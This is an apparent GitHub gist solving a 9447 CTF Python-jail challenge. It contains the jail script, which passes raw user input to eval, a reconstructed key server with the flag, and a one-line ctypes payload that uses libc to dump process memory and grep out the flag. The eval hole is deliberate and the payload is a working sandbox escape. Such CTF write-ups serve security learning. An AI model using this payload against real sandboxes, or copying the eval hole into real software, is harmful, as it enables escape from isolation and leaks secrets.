Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
fuckpyjails
#!/usr/bin/env python
import sys
import socket
import resource
resource.setrlimit(resource.RLIMIT_NPROC, (0, 0))
def get_key():
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/keyserver")
r = s.recv(64)
s.close()
return r
sys.stdout.write(">>> ")
sys.stdout.flush()
if get_key() is eval(raw_input()):
print "Did you get the key?"
else:
print "Fail!"
#!/usr/bin/env python
# Note: this is not the original server of the challenge.
# I wrote this trying to guess how the original might have been
import os
import struct
from socket import socket, AF_UNIX, SOCK_STREAM, SOL_SOCKET
SO_PEERCRED = 17 # Pulled from /usr/include/asm-generic/socket.h
SOCKFILE = '/tmp/keyserver'
FLAG = '9447{seriously_eval_is_lame}'
if os.path.exists(SOCKFILE):
os.remove(SOCKFILE)
seen_pids = set()
s = socket(AF_UNIX, SOCK_STREAM)
s.bind(SOCKFILE)
#s.setblocking(0)
s.listen(1)
def get_pid(conn):
# See: http://stackoverflow.com/a/7982749/641317
creds = conn.getsockopt(SOL_SOCKET, SO_PEERCRED, struct.calcsize('3i'))
pid, uid, gid = struct.unpack('3i',creds)
return pid
while True:
conn, addr = s.accept()
pid = get_pid(conn)
if pid in seen_pids:
message = 'I already sent you the key, stupid!'
else:
seen_pids.add(pid)
message = FLAG
try:
conn.send(message)
except Exception as e:
print(pid, e)
echo "(lambda c: (lambda libc: libc.write(1, c.c_char_p(id('hello') - 100024), 1024*1024*100))(c.cdll.LoadLibrary('libc.so.6')))(__import__('ctypes'))
" | python fuckpyjails.py | strings | grep 9447
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment